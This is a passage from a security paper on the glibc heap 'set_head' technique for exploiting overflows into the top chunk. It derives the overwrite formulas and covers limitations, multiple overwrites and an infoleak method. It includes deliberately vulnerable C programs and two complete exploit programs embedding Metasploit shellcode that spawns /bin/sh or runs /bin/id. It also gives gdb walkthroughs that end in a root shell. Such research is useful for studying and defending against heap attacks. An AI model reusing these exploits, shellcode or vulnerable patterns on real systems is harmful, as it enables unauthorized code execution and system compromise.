           e. topchunk_size will get its three least significant bits 

              cleared by the macro chunksize().  Let's consider this in the 

              formula by adding 8 to the right side of the equation: 

 

              topchunk_size = (retadr + malloc_size + 8) 

 

           g. Take into consideration that the PREV_INUSE flag is being set 

              in the set_head() macro: 

 

              topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE 

 

 

----[ 3.3 - Compute the values 

 

You now have the two basic formulas: 

 

        1. malloc_size = (retloc - toploc - 8) 

 

        2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE 

 

You can now proceed with finding the exact values that you will plug into 

your exploit. 

 

To facilitate the integration of those formulas in your exploit code, you 

can use the set_head_compute() function found in the file(1) utility 

exploit code (refer to section 6.2.3).  Here is the prototype of the 

function: 

 

        struct sethead * set_head_compute 

            (unsigned int retloc, unsigned int retadr, unsigned int toploc) 

 

 

The structure returned by the function set_head_compute() is defined this 

way: 

 

        struct sethead { 

            unsigned long topchunk_size; 

            unsigned long malloc_size; 

        } 

 

 

By giving this function your return location, your return address and your 

top chunk location, it will compute the exact malloc size and top chunk 

size to use in your exploit.  It will also tell you if it's possible to 

execute the requested write operation based on the return address and the 

return location you have chosen. 

 

 

--[ 4 - Limitations 

 

At the time of writing this paper, there was no simple and easy way to 

exploit a heap overflow when the top chunk is involved.  Each exploitation 

technique needs a particular context to work successfully.  The set_head 



[5. The use of set_head to defeat the wilderness – g463] 

 

  Page 
179 

 
  

technique is no different.  It has some requirements to work properly. 

 

Also, it's not a real "write 4 arbitrary bytes to anywhere" primitive.  In 

fact, it would be more of a "write almost 4 arbitrary bytes to almost 

anywhere in memory" primitive. 

 

 

----[ 4.1 - Requirements of two different techniques 

 

Specific elements need to be present to exploit a situation in which the 

wilderness chunk is involved.  These elements tend to impose a lot of 

constraints when trying to exploit a program.  Below, the requirements for 

the set_head technique are listed, alongside those of the "House of Force" 

technique. As you will see, each technique has its pros and cons. 

 

 

------[ 4.1.1 - The set_head() technique 

 

Minimum requirements: 

 

        1. The size field of the topchunk needs to be overwritten with a 

           value that the attacker can control; 

 

        2. Then, there is a call to malloc with a parameter that the 

           attacker can control; 

 

This technique will let you write almost 4 arbitrary bytes to almost 

anywhere. 

 

 

------[ 4.1.2 The "House of Force" technique 

 

Minimum requirements: 

 

        1. The size field of the topchunk must be overwritten with a very 

           large value; 

 

        2. Then, there must be a first call to malloc with a very large 

           size.  An important point is that this same allocated buffer 

           should only be freed after the third step. 

 

        3. Finally, there should be a second call to malloc.  This buffer 

           should then be filled with some user supplied data. 

 

This technique will, in the best-case scenario, let you overwrite any 

region in memory with a string of an arbitrary length that you control. 

 

 

----[ 4.2 - Almost 4 bytes to almost anywhere technique 

 

This set_head technique is not really a "write 4 arbitrary bytes anywhere 

in memory" primitive.  There are some restrictions in malloc.c that greatly 

limit the possible values an attacker can use for the return location and 

the return address in an exploit.  Still, it's possible to run arbitrary 

code if you carefully choose your values. 

 

Below you will find the three main restrictions of this technique: 

 

 

------[ 4.2.1 - Everything in life is a multiple of 8 
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A disadvantage of the set_head technique is the presence of macros that 

ensure memory locations and values are a multiple of 8 bytes.  These macros 

are: 

 

    - checked_request2size() and 

    - chunksize() 

 

Ultimately, this will have some influence on the selection of the return 

location and the return address. 

 

The memory addresses that you can overwrite with the set_head technique 

need to be aligned on a 8 bytes boundary.  Interesting locations to 

overwrite on the stack usually include a saved EIP of a stack frame or a 

function pointer. These pointers are aligned on a 4 bytes boundary, so with 

this technique, you will be able to modify one memory address on two. 

 

The return address will also need to be a multiple of 8 (not counting the 

logical OR with PREV_INUSE).  Normally, the attacker has the possibility of 

providing a NOP cushion right before his shellcode, so this is not really a 

big issue. 

 

 

------[ 4.2.2 - Top chunk's size needs to be bigger than the requested 

                malloc size 

 

This is the main disadvantage of the set_head technique.  For the top chunk 

code to be triggered and serve the memory request, there is a verification 

before the top chunk code is executed: 

 

        --[ From malloc.c 

 

        if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 

 

In short, this line requires that the size of the top chunk is bigger than 

the size requested by the malloc call.  Since the variable 'size' and 'nb' 

are computed from the return location, the return address and the top 

chunk's location, it will greatly limit the content and the location of the 

arbitrary overwrite operation.  There is still a valid combination of a 

return address and a return location that exists. 

 

Let's see what the value of 'size' and 'nb' for a given return location and 

return address will be.  Let's find out when there is a situation in which 

'size' is greater than 'nb'.  Consider the fact that the location of the 

top chunk is static and it's at 0x080614f8: 

 

        +------------+------------++------------+------------+ 

        |   return   |   return   ||    size    |     nb     | 

        |  location  |   address  ||            |            | 

        +------------+------------++------------+------------+ 

        | 0x0804b150 | 0x08061000 ||  134523993 | 4294876240 | 

        | 0x0804b150 | 0xbffffbaa || 3221133059 | 4294876240 | 

        | 0xbffffaaa | 0xbffffbaa || 2012864861 | 3086607786 | 

        | 0xbffffaaa | 0x08061000 || 3221222835 | 3086607786 | <- !!!!! 

        +------------+------------++------------+------------+ 

 

As you can see from this chart, the only time that you get a situation 

where 'size' is greater than 'nb' is when your return location is somewhere 

in the stack and when your return address is somewhere in the heap. 

 

 

------[ 4.2.3 - Logical OR with PREV_INUSE 
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When the set_head macro is called, 'remainder_size', which is the return 

address, will be altered by a logical OR with the flag PREV_INUSE: 

 

        --[ From malloc.c 

 

        #define PREV_INUSE 0x1 

 

        set_head(remainder, remainder_size | PREV_INUSE); 

 

It was said in section 4.2.1 that the return address will always be a 

multiple of 8 bytes due to the normalisation of some macros.  With the 

PREV_INUSE logical OR, it will be a multiple of 8 bytes, plus 1.  With an 

NOP cushion, this problem is solved.  Compared to the previous two, this 

restriction is a very small one. 

 

 

--[ 5 - Taking set_head() to the next level 

 

As a general rule, hackers try to make their exploit as reliable as 

possible.  Exploiting a vulnerability in a confined lab and in the wild are 

two different things.  This section will try to present some techniques to 

improve the reliability of the set_head technique. 

 

 

----[ 5.1 - Multiple overwrites 

 

One way to make the exploitation process a lot more reliable is by using 

multiple overwrites.  Indeed, having the possibility of overwriting a 

memory location with 4 bytes is good, but the possibility to write multiple 

times to memory is even better[8].  Being able to overwrite multiple memory 

locations with set_head will increase your chance of finding a valid return 

location on the stack. 

 

A great advantage of the set_head technique is that it does not corrupt 

internal malloc information in a way that prevents the program from working 

properly.  This advantage will let you safely overwrite more than one 

memory location. 

 

To correctly put this technique in place, the attacker will need to start 

overwriting addresses at the top of the stack, and go downward until he 

seizes control of the program.  Here are the possible addresses that 

set_head() lets you overwrite on the stack: 

 

        1: 0xbffffffc 

        2: 0xbffffff4 

        3: 0xbfffffec 

        4: 0xbfffffe4 

        5: 0xbfffffdc 

        6: 0xbfffffd4 

        7: 0xbfffffcc 

        8: 0xbfffffc4 

        9: ... 

 

Eventually, the attacker will fall on a memory location which is a saved 

EIP in a stack frame.  If he's lucky enough, this new saved EIP will be 

popped in the EIP register. 

 

Remember that for a successfull overwrite, the attacker needs to do two 

things: 
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        1. Overwrite the top chunk with a specific value; 

        2. Make a call to malloc with a specific value. 

 

Based on the formulas that were found in section 3.3, let's compute the 

values for the top chunk size and the size for the malloc call for each 

overwrite operation.  Let's take the following values for an example case: 

 

        The location of the top chunk:        0x08050100 

        The return address:                   0x08050200 

        The return location:                  Decrementing from 0xbffffffc 

                                              to 0xbfffffc4 

 

         +------------++------------+------------+ 

         |   return   || top chunk  |   malloc   | 

         |  location  ||   size     |    size    | 

         +------------++------------+------------+ 

         +------------++------------+------------+ 

         | 0xbffffffc || 3221225725 | 3086679796 | 

         | 0xbffffff4 || 3221225717 | 3086679788 | 

         | 0xbfffffec || 3221225709 | 3086679780 | 

         | 0xbfffffe4 || 3221225701 | 3086679772 | 

         | 0xbfffffdc || 3221225693 | 3086679764 | 

         | 0xbfffffd4 || 3221225685 | 3086679756 | 

         | 0xbfffffcc || 3221225677 | 3086679748 | 

         | 0xbfffffc4 || 3221225669 | 3086679740 | 

         |     ...    ||     ...    |     ...    | 

         +------------++------------+------------+ 

 

By looking at this chart, you can determine that for each overwrite 

operation, the attacker would need to overwrite the size of the top chunk 

with a new value and make a call to malloc with an arbitrary value.  Would 

it be possible to improve this a little bit?  It would be great if the only 

thing you needed to change between each overwrite operation was the size of 

the malloc call, leaving the size of the top chunk untouched. 

 

Indeed, it's possible.  Look closely at the functions used to compute 

malloc_size and topchunk_size.  Let's say the attacker has only one 

possibility to overwrite the size of the top chunk, would it still be 

possible to do multiple overwrites using the set_head technique while 

keeping the same size for the top chunk? 

 

        1. malloc_size = (retloc - toploc - 8) 

        2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE 

 

If you look at how 'topchunk_size' is computed, it seems possible.  By 

changing the value of 'retloc', it will affect 'malloc_size'. Then, 

'malloc_size' is used to compute 'topchunk_size'.  By playing with 'retadr' 

in the second formula, you can always hit the same 'topchunk_size'.  Let's 

look at the same example, but this time with a changing return address. 

While the return location is decrementing by 8, let's increment the return 

address by 8. 

 

 

        +------------+-----------++------------+------------+ 

        |   return   |  return   || top chunk  |   malloc   | 

        |  location  |  address  ||   size     |    size    | 

        +------------+-----------++------------+------------+ 

        +------------+-----------++------------+------------+ 

        | 0xbffffffc | 0x8050200 || 3221225725 | 3086679796 | 

        | 0xbffffff4 | 0x8050208 || 3221225725 | 3086679788 | 

        | 0xbfffffec | 0x8050210 || 3221225725 | 3086679780 | 
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        | 0xbfffffe4 | 0x8050218 || 3221225725 | 3086679772 | 

        | 0xbfffffdc | 0x8050220 || 3221225725 | 3086679764 | 

        | 0xbfffffd4 | 0x8050228 || 3221225725 | 3086679756 | 

        | 0xbfffffcc | 0x8050230 || 3221225725 | 3086679748 | 

        | 0xbfffffc4 | 0x8050238 || 3221225725 | 3086679740 | 

        |    ...     |    ...    ||     ...    |     ...    | 

        +------------+-----------++------------+------------+ 

 

You can see that the size of the top chunk is always the same.  On the 

other hand, the return address changes through the multiple overwrites. 

The attacker needs to have an NOP cushion big enough to adapt to this 

variation. 

 

Refer to section 6.1.2.1 to get a sample vulnerable scenario exploitable 

with multiple overwrites. 

 

 

----[ 5.2 - Infoleak 

 

As was stated in the Shellcoder's Handbook[9]: "An information leak can 

make even a difficult bug possible".  Most of the time, people who write 

exploits try to make them as reliable as possible.  If hackers, using an 

infoleak technique, can improve the reliability of the set_head technique, 

well, that's pretty good.  The technique is already hard to use because it 

relies on unknown memory locations, which are: 

 

        - The return location 

        - The top chunk location 

        - The return address 

 

When there is an overwrite operation, if the attacker is able to tell if 

the program has crashed or not, he can turn this to his advantage.  Indeed, 

this knowledge could help him find one parameter of the exploitable 

situation, which is the top chunk location. 

 

The theory behind this technique is simple.  If the attacker has the real 

address of the top chunk, he will be able to write at the address 

0xbffffffc but not at the address 0xc0000004. 

 

Indeed, a write operation at the address 0xbffffffc will work because this 

address is in the stack and its purpose is to store the environment 

variables of the program.  It does not significantly affect the behaviour 

of the program, so the program will still continue to run normally. 

 

On the other hand, if the attacker wrote in memory starting from 

0xc0000000, there will be a segmentation fault because this memory region 

is not mapped.  After this violation, the program will crash. 

 

To take advantage of this behaviour, the attacker will have to do a series 

of write operations while incrementing or decrementing the location of the 

top chunk.  For each top chunk location tried, there should be 6 write 

operations. 

 

Below, you will find the parameters of the exploitable situation to use 

during the 6 write operations.  The expected result is in the right column 

of the chart.  If you get these results, then the value used for the 

location of the top chunk is the right one. 
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        +------------+------------++--------------+ 

        |  return    |   return   ||    Did it    | 

        |  location  |   address  ||   segfault ? | 

        +------------+------------++--------------+ 

        +------------+------------++--------------+ 

        | 0xc0000014 | 0x07070707 ||     Yes      | 

        | 0xc000000c | 0x07070707 ||     Yes      | 

        | 0xc0000004 | 0x07070707 ||     Yes      | 

        | 0xbffffffc | 0x07070707 ||     No       | 

        | 0xbffffff4 | 0x07070707 ||     No       | 

        | 0xbfffffec | 0x07070707 ||     No       | 

        +------------+------------++--------------+ 

 

If the six write operations made the program segfault each time, then the 

attacker is probably writing after 0xbfffffff or below the limit of the 

stack. 

 

If the 6 write operations succeeded and the program did not crash, then it 

probably means that the attacker overwrote some values in the stack.  In 

that case, decrement the value of the top chunk location to use. 

 

 

--[ 6 - Examples 

 

The best way to learn something new is probably with the help of examples. 

Below, you will find some vulnerable codes and their exploits. 

 

A scenario-based approach is taken here to demonstrate the exploitability 

of a situation.  Ultimately, the exploitability of a context can be defined 

by specific characterictics. 

 

Also, the application of the set_head() technique on a real life example is 

shown with the file(1) utility vulnerability.  The set_head technique was 

found to exploit this specific vulnerability. 

 

 

----[ 6.1 - The basic scenarios 

 

To simplify things, it's useful to define exploitable contexts in terms of 

scenarios.  For each specific scenario, there should be a specific way to 

exploit it.  Once the reader has learned those scenarios, he can then match 

them with vulnerable situations in softwares.  He will then know exactly 

what approach to use to make the most out of the vulnerability. 

 

 

------[ 6.1.1.1 - The most basic form of the set_head() technique 

 

This scenario is the most basic form of the application of the set_head() 

technique.  This is the approach that was used in the file(1) utility 

exploit. 

 

--------------------------- scenario1.c ----------------------------------- 

        #include <stdio.h> 

        #include <stdlib.h> 

 

        int main (int argc, char *argv[]) { 

 

                char *buffer1; 

                char *buffer2; 

                unsigned long size; 
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/* [1] */       buffer1 = (char *) malloc (1024); 

/* [2] */       sprintf (buffer1, argv[1]); 

 

                size = strtoul (argv[2], NULL, 10); 

 

/* [3] */       buffer2 = (char *) malloc (size); 

 

                return 0; 

        } 

--------------------------- end of scenario1.c ---------------------------- 

 

Here is a brief description of the important lines in this code: 

 

[1]: The top chunk is split and a memory region of 1024 bytes is requested. 

 

[2]: A sprintf call is made.  The destination buffer is not checked to see 

     if it is large enough.  The top chunk can then be overwritten here. 

 

[3]: A call to malloc with a user-supplied size is done. 

 

 

------[ 6.1.1.2 - Exploit 

 

--------------------------- exp1.c ---------------------------------------- 

/* 

   Exploit for scenario1.c 

*/ 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <unistd.h> 

 

 

// The following #define are from malloc.c and are used 

// to compute the values for the malloc size and the top chunk size. 

#define PREV_INUSE 0x1 

#define SIZE_BITS  0x7       // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA 

#define SIZE_SZ (sizeof(size_t)) 

#define MALLOC_ALIGNMENT (2 * SIZE_SZ) 

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) 

#define MIN_CHUNK_SIZE 16 

#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ 

    & ~MALLOC_ALIGN_MASK)) 

#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ 

    < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ 

    & ~MALLOC_ALIGN_MASK) 

 

 

struct sethead { 

    unsigned long topchunk_size; 

    unsigned long malloc_size; 

}; 

 

 

/* linux_ia32_exec -  CMD=/bin/sh Size=68 Encoder=PexFnstenvSub 

   http://metasploit.com */ 

unsigned char scode[] = 

"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" 

"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" 

"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" 
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"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" 

"\xc6\x2f\x40\xb3"; 

 

 

struct sethead * set_head_compute 

    (unsigned long retloc, unsigned long retadr, unsigned long toploc) { 

 

    unsigned long check_retloc, check_retadr; 

    struct sethead *shead; 

 

    shead = (struct sethead *) malloc (8); 

    if (shead == NULL) { 

        fprintf (stderr, 

            "--[ Could not allocate memory for sethead structure\n"); 

        exit (1); 

    } 

 

    if ( (toploc % 8) != 0 ) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the top chunk location.", 

            toploc); 

 

        toploc = toploc - (toploc % 8); 

        fprintf (stderr, "  Using 0x%x instead\n", toploc); 

    } else 

        fprintf (stderr, 

            "--[ Using 0x%x as the top chunk location.\n", toploc); 

 

    // The minus 8 is to take care of the normalization 

    // of the malloc parameter 

    shead->malloc_size = (retloc - toploc - 8); 

 

    // By adding the 8, we are able to sometimes perfectly hit 

    // the return address.  To hit it perfectly, retadr must be a multiple 

    // of 8 + 1 (for the PREV_INUSE flag). 

    shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; 

 

    if (shead->topchunk_size < shead->malloc_size) { 

        fprintf (stderr, 

            "--[ ERROR: topchunk size is less than malloc size.\n"); 

        fprintf (stderr, "--[ Topchunk code will not be triggered\n"); 

        exit (1); 

    } 

 

    check_retloc = (toploc + request2size (shead->malloc_size) + 4); 

    if (check_retloc != retloc) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the return location. ", retloc); 

        fprintf (stderr, "Using 0x%x instead\n", check_retloc); 

    } else 

        fprintf (stderr, "--[ Using 0x%x as the return location.\n", 

            retloc); 

 

    check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) 

        - request2size (shead->malloc_size)) | PREV_INUSE; 

    if (check_retadr != retadr) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the return address.", retadr); 

        fprintf (stderr, " Using 0x%x instead\n", check_retadr); 

    } else 

        fprintf (stderr, "--[ Using 0x%x as the return address.\n", 
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            retadr); 

 

    return shead; 

} 

 

 

void 

put_byte (char *ptr, unsigned char data) { 

    *ptr = data; 

} 

 

 

void 

put_longword (char *ptr, unsigned long data) { 

    put_byte (ptr, data); 

    put_byte (ptr + 1, data >> 8); 

    put_byte (ptr + 2, data >> 16); 

    put_byte (ptr + 3, data >> 24); 

} 

 

 

int main (int argc, char *argv[]) { 

 

        char *buffer; 

        char malloc_size_string[20]; 

        unsigned long retloc, retadr, toploc; 

        unsigned long topchunk_size, malloc_size; 

        struct sethead *shead; 

 

        if ( argc != 4) { 

                printf ("wrong number of arguments, exiting...\n\n"); 

                printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]); 

                return 1; 

        } 

 

        sscanf (argv[1], "0x%x", &retloc); 

        sscanf (argv[2], "0x%x", &retadr); 

        sscanf (argv[3], "0x%x", &toploc); 

 

        shead = set_head_compute (retloc, retadr, toploc); 

        topchunk_size = shead->topchunk_size; 

        malloc_size = shead->malloc_size; 

 

        buffer = (char *) malloc (1036); 

 

        memset (buffer, 0x90, 1036); 

        put_longword (buffer+1028, topchunk_size); 

        memcpy (buffer+1028-strlen(scode), scode, strlen (scode)); 

        buffer[1032]=0x0; 

 

        snprintf (malloc_size_string, 20, "%u", malloc_size); 

        execl ("./scenario1", "scenario1", buffer, malloc_size_string, 

            NULL); 

 

        return 0; 

} 

--------------------------- end of exp1.c --------------------------------- 

 

Here are the steps to find the 3 memory values to use for this exploit. 
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1- The first step is to generate a core dump file from the vulnerable 

program.  You will then have to analyze this core dump to find the proper 

values for your exploit. 

 

To generate the core file, get an approximation of the top chunk location 

by getting the base address of the BSS section.  Normally, the heap will 

start just after the BSS section: 

 

bash$ readelf -S ./scenario1 | grep bss 

  [22] .bss              NOBITS          080495e4 0005e4 000004 

 

 

The BSS section starts at 0x080495e4.  Let's call the exploit the following 

way, and remember to replace 0x080495e4 for the BSS value you have found: 

 

bash$ ./exp1 0xc0c0c0c0 0x080495e4 0x080495e4 

--[ Impossible to use 0x80495e4 as the top chunk location.  Using 0x80495e0 

instead 

--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 

instead 

--[ Impossible to use 0x80495e4 as the return address. Using 0x80495e1 

instead 

Segmentation fault (core dumped) 

bash$ 

 

 

2- Call gdb on that core dump file. 

 

bash$ gdb -q scenario1 core.2212 

Core was generated by `scenario1'. 

Program terminated with signal 11, Segmentation fault. 

Reading symbols from /usr/lib/debug/libc.so.6...done. 

Loaded symbols for /usr/lib/debug/libc.so.6 

Reading symbols from /lib/ld-linux.so.2...done. 

Loaded symbols for /lib/ld-linux.so.2 

#0  _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082 

 

4082          set_head(remainder, remainder_size | PREV_INUSE); 

(gdb) 

 

 

3- The ESI register contains the address of the top chunk.  It might be 

another register for you. 

 

(gdb) info reg esi 

esi            0x8049a38        134519352 

(gdb) 

 

 

4- Start searching before the location of the top chunk to find the NOP 

cushion.  This will be the return address. 

 

0x8049970:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8049980:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8049990:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80499a0:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80499b0:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80499c0:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80499d0:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80499e0:      0x90909090      0x90909090      0x90909090      0xe983c931 

0x80499f0:      0xd9eed9f5      0x5bf42474      0x27137381      0x83b3c0e2 
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0x8049a00:      0xf4e2fceb      0x2a98e94d      0x9ea88475      0xdb276b44 

(gdb) 

 

0x8049990 is a valid address. 

 

 

5- To get the return location for your exploit, get a saved EIP from a 

stack frame. 

 

(gdb) frame 2 

#2  0x0804840a in main () 

(gdb) x $ebp+4 

0xbffff52c:     0x4002980c 

(gdb) 

 

0xbffff52c is the return location. 

 

 

6- You can now call the exploit with the values that you have found. 

 

bash$ ./exp1 0xbffff52c 0x8049990 0x8049a38 

--[ Using 0x8049a38 as the top chunk location. 

--[ Using 0xbffff52c as the return location. 

--[ Impossible to use 0x8049990 as the return address. Using 0x8049991 

instead 

sh-2.05b# exit 

exit 

bash$ 

 

 

------[ 6.1.2.1 - Multiple overwrites 

 

This scenario is an example of a situation where it could be possible to 

leverage the set_head() technique to make it write multiple times in 

memory.  Applying this technique will help you improve the reliability of 

the exploit.  It will increase your chances of finding a valid return 

location while you are exploiting the program. 

 

--------------------------- scenario2.c ----------------------------------- 

        #include <stdio.h> 

        #include <stdlib.h> 

        #include <unistd.h> 

 

        int main (int argc, char *argv[]) { 

 

                char *buffer1; 

                char *buffer2; 

                unsigned long size; 

 

/* [1] */       buffer1 = (char *) malloc (4096); 

/* [2] */       fgets (buffer1, 4200, stdin); 

 

/* [3] */       do { 

                        size = 0; 

                        scanf ("%u", &size); 

/* [4] */               buffer2 = (char *) malloc (size); 

 

                        /* 

                         * Random code 

                         */ 
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/* [5] */               free (buffer2); 

 

                } while (size != 0); 

 

                return 0; 

        } 

------------------------- end of scenario2.c ------------------------------ 

 

Here is a brief description of the important lines in this code: 

 

[1]: A memory region of 4096 bytes is requested.  The top chunk is split 

     and the request is serviced. 

 

[2]: A call to fgets is made.  The destination buffer is not checked to see 

     if it is large enough.  The top chunk can then be overwritten here. 

 

[3]: The program enters a loop.  It reads from 'stdin' until the number '0' 

     is entered. 

 

[4]: A call to malloc is done with 'size' as the parameter.  The loop does 

     not end until size equals '0'.  This gives the attacker the 

     possibility of overwriting the memory multiple times. 

 

[5]: The buffer needs to be freed at the end of the loop. 

 

 

------[ 6.1.2.2 - Exploit 

 

--------------------------- exp2.c ---------------------------------------- 

/* 

   Exploit for scenario2.c 

*/ 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <unistd.h> 

 

 

// The following #define are from malloc.c and are used 

// to compute the values for the malloc size and the top chunk size. 

#define PREV_INUSE 0x1 

#define SIZE_BITS  0x7       // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA 

#define SIZE_SZ (sizeof(size_t)) 

#define MALLOC_ALIGNMENT (2 * SIZE_SZ) 

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) 

#define MIN_CHUNK_SIZE 16 

#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ 

    & ~MALLOC_ALIGN_MASK)) 

#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ 

    < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ 

    & ~MALLOC_ALIGN_MASK) 

 

 

struct sethead { 

    unsigned long topchunk_size; 

    unsigned long malloc_size; 

}; 

 

 

/* linux_ia32_exec -  CMD=/bin/id Size=68 Encoder=PexFnstenvSub 
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http://metasploit.com */ 

unsigned char scode[] = 

"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4f" 

"\x3d\x1a\x3d\x83\xeb\xfc\xe2\xf4\x25\x36\x42\xa4\x1d\x5b\x72\x10" 

"\x2c\xb4\xfd\x55\x60\x4e\x72\x3d\x27\x12\x78\x54\x21\xb4\xf9\x6f" 

"\xa7\x35\x1a\x3d\x4f\x12\x78\x54\x21\x12\x73\x59\x4f\x6a\x49\xb4" 

"\xae\xf0\x9a\x3d"; 

 

 

struct sethead * set_head_compute 

    (unsigned long retloc, unsigned long retadr, unsigned long toploc) { 

 

    unsigned long check_retloc, check_retadr; 

    struct sethead *shead; 

 

    shead = (struct sethead *) malloc (8); 

    if (shead == NULL) { 

        fprintf (stderr, 

            "--[ Could not allocate memory for sethead structure\n"); 

        exit (1); 

    } 

 

    if ( (toploc % 8) != 0 ) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the top chunk location.", 

            toploc); 

 

        toploc = toploc - (toploc % 8); 

        fprintf (stderr, "  Using 0x%x instead\n", toploc); 

    } else 

        fprintf (stderr, 

            "--[ Using 0x%x as the top chunk location.\n", toploc); 

 

    // The minus 8 is to take care of the normalization 

    // of the malloc parameter 

    shead->malloc_size = (retloc - toploc - 8); 

 

    // By adding the 8, we are able to sometimes perfectly hit 

    // the return address.  To hit it perfectly, retadr must be a multiple 

    // of 8 + 1 (for the PREV_INUSE flag). 

    shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; 

 

    if (shead->topchunk_size < shead->malloc_size) { 

        fprintf (stderr, 

            "--[ ERROR: topchunk size is less than malloc size.\n"); 

        fprintf (stderr, "--[ Topchunk code will not be triggered\n"); 

        exit (1); 

    } 

 

    check_retloc = (toploc + request2size (shead->malloc_size) + 4); 

    if (check_retloc != retloc) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the return location. ", retloc); 

        fprintf (stderr, "Using 0x%x instead\n", check_retloc); 

    } else 

        fprintf (stderr, "--[ Using 0x%x as the return location.\n", 

            retloc); 

 

    check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) 

        - request2size (shead->malloc_size)) | PREV_INUSE; 

    if (check_retadr != retadr) { 



[5. The use of set_head to defeat the wilderness – g463] 

 

  Page 
192 

 
  

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the return address.", retadr); 

        fprintf (stderr, " Using 0x%x instead\n", check_retadr); 

    } else 

        fprintf (stderr, "--[ Using 0x%x as the return address.\n", 

            retadr); 

 

    return shead; 

} 

 

 

void 

put_byte (char *ptr, unsigned char data) { 

    *ptr = data; 

} 

 

 

void 

put_longword (char *ptr, unsigned long data) { 

    put_byte (ptr, data); 

    put_byte (ptr + 1, data >> 8); 

    put_byte (ptr + 2, data >> 16); 

    put_byte (ptr + 3, data >> 24); 

} 

 

 

int main (int argc, char *argv[]) { 

 

        char *buffer; 

        char malloc_size_buffer[20]; 

        unsigned long retloc, retadr, toploc; 

        unsigned long topchunk_size, malloc_size; 

        struct sethead *shead; 

        int i; 

 

        if ( argc != 4) { 

                printf ("wrong number of arguments, exiting...\n\n"); 

                printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]); 

                return 1; 

        } 

 

        sscanf (argv[1], "0x%x", &retloc); 

        sscanf (argv[2], "0x%x", &retadr); 

        sscanf (argv[3], "0x%x", &toploc); 

 

        shead = set_head_compute (retloc, retadr, toploc); 

        topchunk_size = shead->topchunk_size; 

        free (shead); 

 

        buffer = (char *) malloc (4108); 

        memset (buffer, 0x90, 4108); 

        put_longword (buffer+4100, topchunk_size); 

        memcpy (buffer+4100-strlen(scode), scode, strlen (scode)); 

        buffer[4104]=0x0; 

 

        printf ("%s\n", buffer); 

 

        for (i = 0; i < 300; i++) { 

                shead = set_head_compute (retloc, retadr, toploc); 

                topchunk_size = shead->topchunk_size; 

                malloc_size = shead->malloc_size; 
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                printf ("%u\n", malloc_size); 

 

                retloc = retloc - 8; 

                retadr = retadr + 8; 

 

                free (shead); 

        } 

 

        return 0; 

} 

--------------------------- end of exp2.c --------------------------------- 

 

Here are the steps to find the memory values to use for this exploit. 

 

 

1- The first step is to generate a core dump file from the vulnerable 

program.  You will then have to analyze this core dump to find the proper 

values for your exploit. 

 

To generate the core file, get an approximation of the top chunk location 

by getting the base address of the BSS section.  Normally, the heap will 

start just after the BSS section: 

 

bash$ readelf -S ./scenario2|grep bss 

  [22] .bss              NOBITS          0804964c 00064c 000008 

 

 

The BSS section starts at 0x0804964c.  Let's call the exploit the following 

way, and remember to replace 0x0804964c for the BSS value you have found: 

 

bash$ ./exp2 0xc0c0c0c0 0x0804964c 0x0804964c | ./scenario2 

--[ Impossible to use 0x804964c as the top chunk location.  Using 0x8049648 

instead 

--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 

instead 

--[ Impossible to use 0x804964c as the return address. Using 0x8049649 

instead 

--[ Impossible to use 0x804964c as the top chunk location.  Using 0x8049648 

instead 

[...] 

--[ Impossible to use 0xc0c0b768 as the return location. Using 0xc0c0b76c 

instead 

--[ Impossible to use 0x8049fa4 as the return address. Using 0x8049fa1 

instead 

Segmentation fault (core dumped) 

bash# 

 

 

2- Call gdb on that core dump file. 

 

bash$ gdb -q scenario2 core.2698 

Core was generated by `./scenario2'. 

Program terminated with signal 11, Segmentation fault. 

Reading symbols from /usr/lib/debug/libc.so.6...done. 

Loaded symbols for /usr/lib/debug/libc.so.6 

